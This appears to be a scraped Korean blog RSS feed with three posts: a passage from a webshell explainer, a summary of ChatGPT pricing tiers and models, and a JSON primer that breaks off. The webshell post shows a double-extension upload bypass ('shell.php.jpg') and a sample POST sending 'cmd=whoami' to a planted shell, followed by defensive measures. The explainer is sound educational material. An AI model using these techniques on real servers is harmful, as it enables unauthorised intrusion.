&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;shell.php.jpg&lt;span&gt;&amp;nbsp;&lt;/span&gt;로 파일명 설정&lt;/li&gt;
&lt;li&gt;서버가 단순히&lt;span&gt;&amp;nbsp;&lt;/span&gt;.jpg&lt;span&gt;&amp;nbsp;&lt;/span&gt;문자열만 체크하면 우회 성공&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size23&quot;&gt;&amp;nbsp;&lt;/h3&gt;
&lt;h3 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size23&quot;&gt;(4) HTTP Request에 스텔스하게 명령 보내기&lt;/h3&gt;
&lt;pre class=&quot;http&quot; style=&quot;color: #000000; text-align: start;&quot;&gt;&lt;code&gt;POST /shell.php HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded

cmd=whoami
&lt;/code&gt;&lt;/pre&gt;
&lt;ul style=&quot;list-style-type: disc; color: #000000; text-align: start;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;요청을 POST 방식으로 보내 명령을 은닉함.&lt;/li&gt;
&lt;/ul&gt;
&lt;h1 style=&quot;color: #000000; text-align: start;&quot;&gt;&amp;nbsp;&lt;/h1&gt;
&lt;h1 style=&quot;color: #000000; text-align: start;&quot;&gt;&amp;nbsp;6. 웹쉘 탐지 및 방어 방법&lt;/h1&gt;
&lt;table style=&quot;color: #000000; text-align: start; border-collapse: collapse; width: 100%; height: 136px;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot; data-ke-style=&quot;style12&quot;&gt;
&lt;tbody&gt;
&lt;tr style=&quot;height: 17px;&quot;&gt;
&lt;td style=&quot;height: 17px; text-align: center;&quot;&gt;방법&lt;/td&gt;
&lt;td style=&quot;height: 17px; text-align: center;&quot;&gt;설명&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 17px;&quot;&gt;
&lt;td style=&quot;height: 17px;&quot;&gt;&lt;b&gt;업로드 파일 확장자, 내용 검증&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;height: 17px;&quot;&gt;MIME Type과 파일 내부 시그니처까지 검사&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 17px;&quot;&gt;
&lt;td style=&quot;height: 17px;&quot;&gt;&lt;b&gt;권한 최소화&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;height: 17px;&quot;&gt;업로드 디렉토리에 실행 권한 제거&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 17px;&quot;&gt;
&lt;td style=&quot;height: 17px;&quot;&gt;&lt;b&gt;WAF 설정&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;height: 17px;&quot;&gt;웹 애플리케이션 방화벽으로 웹쉘 패턴 탐지&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 17px;&quot;&gt;
&lt;td style=&quot;height: 17px;&quot;&gt;&lt;b&gt;로그 분석&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;height: 17px;&quot;&gt;비정상적인 접속/업로드 기록을 탐지&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 17px;&quot;&gt;
&lt;td style=&quot;height: 17px;&quot;&gt;&lt;b&gt;실시간 스캐닝&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;height: 17px;&quot;&gt;업로드 파일을 자동 검사하고 차단&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 17px;&quot;&gt;
&lt;td style=&quot;height: 17px;&quot;&gt;&lt;b&gt;코드 리뷰&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;height: 17px;&quot;&gt;취약한 코드(파일 업로드, 인클루전 함수 등) 점검&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 17px;&quot;&gt;
&lt;td style=&quot;height: 17px;&quot;&gt;&lt;b&gt;URL 호출 제한&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;height: 17px;&quot;&gt;업로드 파일을 직접 접근 못 하게 URL 차단&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h1 style=&quot;color: #000000; text-align: start;&quot;&gt;&amp;nbsp;&lt;/h1&gt;
&lt;h1 style=&quot;color: #000000; text-align: start;&quot;&gt;&amp;nbsp;7. 웹쉘과 관련된 주요 취약점 요약&lt;/h1&gt;
&lt;table style=&quot;color: #000000; text-align: start; border-collapse: collapse; width: 100%;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot; data-ke-style=&quot;style12&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;text-align: center;&quot;&gt;취약점&lt;/td&gt;
&lt;td style=&quot;text-align: center;&quot;&gt;설명&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;File Upload Vulnerability&lt;/td&gt;
&lt;td&gt;파일 업로드 검증 실패&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Remote Code Execution (RCE)&lt;/td&gt;
&lt;td&gt;서버 명령어 실행 가능&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Local File Inclusion (LFI)&lt;/td&gt;
&lt;td&gt;경로 조작으로 파일 실행 가능&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Directory Traversal&lt;/td&gt;
&lt;td&gt;디렉토리 이동 조작으로 시스템 파일 접근&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;SQL Injection&lt;/td&gt;
&lt;td&gt;DB 조작으로 웹쉘 심기 가능&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>정보보호</category>
      <category>webshell</category>
      <category>웹쉘</category>
      <category>정보보호</category>
      <category>해킹</category>
      <author>defcon</author>
      <guid isPermaLink="true">https://defcon.tistory.com/18</guid>
      <comments>https://defcon.tistory.com/18#entry18comment</comments>
      <pubDate>Sun, 27 Apr 2025 10:06:56 +0900</pubDate>
    </item>
    <item>
      <title>ChatGPT 요금제 및 모델별 특징</title>
      <link>https://defcon.tistory.com/17</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;ChatGPT 요금제&lt;/h2&gt;
&lt;table style=&quot;color: #000000; border-collapse: collapse; width: 100%; height: 102px;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot; data-ke-style=&quot;style12&quot;&gt;
&lt;tbody&gt;
&lt;tr style=&quot;height: 17px;&quot;&gt;
&lt;td style=&quot;height: 17px; text-align: center;&quot;&gt;요금제&lt;/td&gt;
&lt;td style=&quot;height: 17px; text-align: center;&quot;&gt;월 요금&lt;/td&gt;
&lt;td style=&quot;height: 17px; text-align: center;&quot;&gt;주요 기능&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 17px;&quot;&gt;
&lt;td style=&quot;height: 17px;&quot;&gt;&lt;b&gt;Free&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;height: 17px;&quot;&gt;$0&lt;/td&gt;
&lt;td style=&quot;height: 17px;&quot;&gt;GPT-4o mini 접근, 제한된 기능&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 17px;&quot;&gt;
&lt;td style=&quot;height: 17px;&quot;&gt;&lt;b&gt;Plus&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;height: 17px;&quot;&gt;$20&lt;/td&gt;
&lt;td style=&quot;height: 17px;&quot;&gt;확장된 기능 및 모델 접근&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 17px;&quot;&gt;
&lt;td style=&quot;height: 17px;&quot;&gt;&lt;b&gt;Pro&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;height: 17px;&quot;&gt;$200&lt;/td&gt;
&lt;td style=&quot;height: 17px;&quot;&gt;무제한 고급 기능 및 모델 접근&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 17px;&quot;&gt;
&lt;td style=&quot;height: 17px;&quot;&gt;&lt;b&gt;Team&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;height: 17px;&quot;&gt;$25/인(연간), $30/인(월간)&lt;/td&gt;
&lt;td style=&quot;height: 17px;&quot;&gt;팀 협업 및 보안 기능&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 17px;&quot;&gt;
&lt;td style=&quot;height: 17px;&quot;&gt;&lt;b&gt;Enterprise&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;height: 17px;&quot;&gt;맞춤형 견적&lt;/td&gt;
&lt;td style=&quot;height: 17px;&quot;&gt;대규모 조직을 위한 고급 기능&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;Free 요금제&lt;/h2&gt;
&lt;ul style=&quot;list-style-type: disc; color: #000000; text-align: start;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;모델 접근&lt;/b&gt;: GPT-4o mini&lt;/li&gt;
&lt;li&gt;&lt;b&gt;기능 제한&lt;/b&gt;:
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;실시간 웹 검색&lt;/li&gt;
&lt;li&gt;파일 업로드, 데이터 분석, 이미지 생성, 음성 모드 제한적 사용&lt;/li&gt;
&lt;li&gt;macOS용 데스크탑 앱에서 코드 편집&lt;/li&gt;
&lt;li&gt;사용자 정의 GPT 활용&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;Plus 요금제 ($20/월)&lt;/h2&gt;
&lt;ul style=&quot;list-style-type: disc; color: #000000; text-align: start;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;모델 접근&lt;/b&gt;:
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;GPT-4o, o3, o4-mini, o4-mini-high&lt;/li&gt;
&lt;li&gt;GPT-4.5 연구 프리뷰&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;b&gt;추가 기능&lt;/b&gt;:
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;메시지, 파일 업로드, 데이터 분석, 이미지 생성의 확장된 한도&lt;/li&gt;
&lt;li&gt;표준 및 고급 음성 모드(비디오 및 화면 공유 포함)&lt;/li&gt;
&lt;li&gt;프로젝트, 작업, 사용자 정의 GPT 생성 및 사용&lt;/li&gt;
&lt;li&gt;신규 기능 테스트 기회&amp;nbsp;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;Pro 요금제 ($200/월)&lt;/h2&gt;
&lt;ul style=&quot;list-style-type: disc; color: #000000; text-align: start;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;모델 접근&lt;/b&gt;:
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;모든 추론 모델 및 GPT-4o 무제한 접근&lt;/li&gt;
&lt;li&gt;o1 pro 모드 접근&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;b&gt;추가 기능&lt;/b&gt;:
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;고급 음성 기능 무제한 사용&lt;/li&gt;
&lt;li&gt;확장된 Deep Research 접근&lt;/li&gt;
&lt;li&gt;Sora 비디오 생성 확장 접근&lt;/li&gt;
&lt;li&gt;Operator 연구 프리뷰 접근&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&amp;nbsp;Team 요금제&lt;/h2&gt;
&lt;ul style=&quot;list-style-type: disc; color: #000000; text-align: start;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;요금&lt;/b&gt;:
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;$25/인/월 (연간 청구)&lt;/li&gt;
&lt;li&gt;$30/인/월 (월간 청구)&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;b&gt;주요 기능&lt;/b&gt;:
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;Plus 요금제의 모든 기능 포함&lt;/li&gt;
&lt;li&gt;Google Drive와의 통합을 통한 조직 내부 지식 활용&lt;/li&gt;
&lt;li&gt;GPT-4o에 대한 높은 메시지 한도&lt;/li&gt;
&lt;li&gt;o3-mini, o3-mini-high, o1 모델 접근&lt;/li&gt;
&lt;li&gt;보안 및 협업을 위한 관리자 콘솔 및 통합 청구&lt;/li&gt;
&lt;li&gt;기본적으로 팀 데이터는 학습에 사용되지 않음&amp;nbsp;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;Enterprise 요금제&lt;/h2&gt;
&lt;ul style=&quot;list-style-type: disc; color: #000000; text-align: start;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;요금&lt;/b&gt;: 맞춤형 견적 필요&lt;/li&gt;
&lt;li&gt;&lt;b&gt;주요 기능&lt;/b&gt;:
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;GPT-4o에 대한 높은 메시지 한도 및 확장된 컨텍스트 윈도우&lt;/li&gt;
&lt;li&gt;o3, o4-mini, o4-mini-high, o1 pro 모드 접근&lt;/li&gt;
&lt;li&gt;Deep Research, 사용자 정의 GPT, 프로젝트, 파일 업로드, 데이터 분석, 검색 기능 포함&lt;/li&gt;
&lt;li&gt;SCIM, SSO, 도메인 검증, 사용자 분석, GPT 제어 등의 사용자 접근 관리&lt;/li&gt;
&lt;li&gt;CSA STAR 및 SOC 2 Type 2 표준에 부합하는 데이터 보안 및 개인정보 보호&lt;/li&gt;
&lt;li&gt;강화된 지원 및 계정 관리&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style6&quot; /&gt;
&lt;h2 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;GPT 모델별 특징&lt;/h2&gt;
&lt;h3 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size23&quot;&gt;1.&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;GPT-4o&lt;/b&gt;&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc; color: #000000; text-align: start;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;설명&lt;/b&gt;: OpenAI의 주력 모델로, 텍스트, 음성, 이미지, 비디오 등 다양한 입력을 실시간으로 처리하는 멀티모달 기능을 갖추고 있습니다.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;특징&lt;/b&gt;:
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;실시간 반응성과 자연스러운 대화 능력&lt;/li&gt;
&lt;li&gt;멀티모달 입력 처리 능력 (텍스트, 음성, 이미지 등)&lt;/li&gt;
&lt;li&gt;일반 사용자에게 적합한 범용성&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size23&quot;&gt;2.&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;o3&lt;/b&gt;&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc; color: #000000; text-align: start;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;설명&lt;/b&gt;: 고급 추론과 논리적 사고에 최적화된 모델로, 복잡한 문제 해결에 강점을 보입니다.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;특징&lt;/b&gt;:
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;수학 및 과학 문제 해결 능력 향상&lt;/li&gt;
&lt;li&gt;코드 작성 및 디버깅 지원&lt;/li&gt;
&lt;li&gt;웹 검색을 통한 최신 정보 반영&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size23&quot;&gt;3.&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;o4-mini / o4-mini-high&lt;/b&gt;&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc; color: #000000; text-align: start;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;설명&lt;/b&gt;: 빠른 응답과 효율적인 처리에 중점을 둔 경량화 모델로, 일상적인 작업에 적합합니다.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;특징&lt;/b&gt;:
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;빠른 응답 속도와 낮은 지연 시간&lt;/li&gt;
&lt;li&gt;텍스트, 이미지, 코드 등 다양한 입력 처리&lt;/li&gt;
&lt;li&gt;브라우저 내 Python 코드 실행 지원&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size23&quot;&gt;4.&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;GPT-4.5 (연구 프리뷰)&lt;/b&gt;&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc; color: #000000; text-align: start;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;설명&lt;/b&gt;: 가장 최신의 대형 모델로, 창의적인 작업과 아이디어 탐색에 강점을 지니며, 자연스러운 대화를 지원합니다.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;특징&lt;/b&gt;:
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;확장된 사전 학습과 후속 학습을 통한 성능 향상&lt;/li&gt;
&lt;li&gt;패턴 인식 및 창의적 통찰력 강화&lt;/li&gt;
&lt;li&gt;직관적인 대화 흐름 지원&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style6&quot; /&gt;
&lt;h2 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&amp;nbsp;Deep Research 기능 소개&lt;/h2&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Deep Research&lt;/b&gt;는 OpenAI의 ChatGPT에 통합된 고급 리서치 도구로, 복잡한 주제에 대해 다단계의 웹 탐색을 통해 심층적인 보고서를 자동으로 생성합니다.&lt;/p&gt;
&lt;h3 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size23&quot;&gt;주요 특징&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc; color: #000000; text-align: start;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;자동화된 웹 탐색&lt;/b&gt;: 사용자의 질문에 대해 관련 정보를 웹에서 수집하고 분석하여 구조화된 보고서를 생성합니다.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;다양한 입력 지원&lt;/b&gt;: 텍스트, 이미지, PDF 등 다양한 형식의 입력을 처리하여 보다 풍부한 정보를 제공합니다.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;시간 효율성&lt;/b&gt;: 사람이 수 시간 또는 수일 걸릴 작업을 수 분 내에 완료합니다.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;출처 명시&lt;/b&gt;: 보고서에 사용된 정보의 출처를 명확히 하여 신뢰성을 높입니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size23&quot;&gt;사용 방법&lt;/h3&gt;
&lt;ol style=&quot;list-style-type: decimal; color: #000000; text-align: start;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;ChatGPT에서 'Deep Research' 모드를 선택합니다.&lt;/li&gt;
&lt;li&gt;리서치할 주제나 질문을 입력합니다.&lt;/li&gt;
&lt;li&gt;필요에 따라 이미지를 업로드하거나 추가 정보를 제공합니다.&lt;/li&gt;
&lt;li&gt;AI가 웹을 탐색하여 보고서를 생성합니다.&lt;/li&gt;
&lt;/ol&gt;
&lt;h3 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size23&quot;&gt;이용 가능 요금제 및 사용 한도&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc; color: #000000; text-align: start;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;무료 사용자&lt;/b&gt;: 월 5회 '경량' Deep Research 사용 가능&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Plus / Team 사용자&lt;/b&gt;: 월 25회 사용 가능 (경량 및 전체 버전 포함)&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Pro 사용자&lt;/b&gt;: 월 250회 사용 가능&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Enterprise / Edu 사용자&lt;/b&gt;: Team 요금제와 동일한 한도 적용&lt;/li&gt;
&lt;/ul&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>기타</category>
      <category>ChatGPT</category>
      <category>deepresearch</category>
      <category>LLM</category>
      <category>OpenAI</category>
      <category>오픈AI</category>
      <category>인공지능</category>
      <author>defcon</author>
      <guid isPermaLink="true">https://defcon.tistory.com/17</guid>
      <comments>https://defcon.tistory.com/17#entry17comment</comments>
      <pubDate>Sat, 26 Apr 2025 20:37:59 +0900</pubDate>
    </item>
    <item>
      <title>JSON 데이터 형식의 개념</title>
      <link>https://defcon.tistory.com/16</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;JSON(JavaScript Object Notation)은&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;사람이 읽기 쉽고 기계가 해석하기 쉬운 데이터 형식&lt;/b&gt;으로, 주로 데이터의 구조화된 표현을 위해 사용됩니다. 특히 웹 애플리케이션, 설정 파일, API 응답 등에 많이 사용됩니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&amp;nbsp;JSON의 기본 구조&lt;/h2&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;JSON은 두 가지 주요 구조를 기반으로 합니다:&lt;/p&gt;
&lt;ol style=&quot;list-style-type: decimal; color: #000000; text-align: start;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;&lt;b&gt;객체(Object)&lt;/b&gt;:&lt;span&gt;&amp;nbsp;&lt;/span&gt;{}로 감싸고,&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;키-값 쌍&lt;/b&gt;(key-value pairs)으로 구성됨&lt;/li&gt;
&lt;li&gt;&lt;b&gt;배열(Array)&lt;/b&gt;:&lt;span&gt;&amp;nbsp;&lt;/span&gt;[]로 감싸고,&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;값 목록&lt;/b&gt;(list of values)으로 구성됨&lt;/li&gt;
&lt;/ol&gt;
&lt;pre class=&quot;json&quot; style=&quot;color: #000000; text-align: start;&quot;&gt;&lt;code&gt;{
  &quot;name&quot;: &quot;John&quot;,
  &quot;age&quot;: 30,
  &quot;isStudent&quot;: false,
  &quot;skills&quot;: [&quot;Python&quot;, &quot;Java&quot;, &quot;C++&quot;],
  &quot;address&quot;: {
    &quot;city&quot;: &quot;Seoul&quot;,
    &quot;zipcode&quot;: &quot;12345&quot;
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style6&quot; /&gt;
&lt;h2 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&amp;nbsp;구성 요소 설명&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;table style=&quot;color: #000000; text-align: start; border-collapse: collapse; width: 100%;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot; data-ke-style=&quot;style12&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;text-align: center;&quot;&gt;요소&lt;/td&gt;
&lt;td style=&quot;text-align: center;&quot;&gt;설명&lt;/td&gt;
&lt;td style=&quot;text-align: center;&quot;&gt;예시&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;b&gt;객체(Object)&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;중괄호&lt;span&gt;&amp;nbsp;&lt;/span&gt;{}로 감싸며,&lt;span&gt;&amp;nbsp;&lt;/span&gt;&quot;key&quot;: value&lt;span&gt;&amp;nbsp;&lt;/span&gt;형태로 표현&lt;/td&gt;
&lt;td&gt;{ &quot;name&quot;: &quot;Alice&quot; }&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;b&gt;배열(Array)&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;대괄호&lt;span&gt;&amp;nbsp;&lt;/span&gt;[]로 감싸며, 여러 값을 콤마로 구분&lt;/td&gt;
&lt;td&gt;[1, 2, 3]&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;b&gt;문자열(String)&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;큰따옴표&lt;span&gt;&amp;nbsp;&lt;/span&gt;&quot;로 감싼 텍스트&lt;/td&gt;
&lt;td&gt;&quot;hello&quot;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;b&gt;숫자(Number)&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;정수 또는 부동소수점 숫자&lt;/td&gt;
&lt;td&gt;10,&lt;span&gt;&amp;nbsp;&lt;/span&gt;3.14&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;b&gt;불리언(Boolean)&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;true&lt;span&gt;&amp;nbsp;&lt;/span&gt;또는&lt;span&gt;&amp;nbsp;&lt;/span&gt;false&lt;/td&gt;
&lt;td&gt;true&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;b&gt;null&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;값을 나타내지 않음을 의미&lt;/td&gt;
&lt;td&gt;null&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-style=&quot;style6&quot; data-ke-type=&quot;horizontalRule&quot; /&gt;
&lt;h2 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&amp;nbsp;JSON 문법 규칙&lt;/h2&gt;
&lt;ol style=&quot;list-style-type: decimal; color: #000000; text-align: start;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;&lt;b&gt;문자열은 반드시 큰따옴표&lt;span&gt;&amp;nbsp;&lt;/span&gt;&quot; &quot;&lt;span&gt;&amp;nbsp;&lt;/span&gt;사용&lt;/b&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;작은따옴표&lt;span&gt;&amp;nbsp;&lt;/span&gt;' '는 안 됨&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;b&gt;키(Key)는 문자열만 가능하며 큰따옴표로 감싸야 함&lt;/b&gt;&lt;/li&gt;
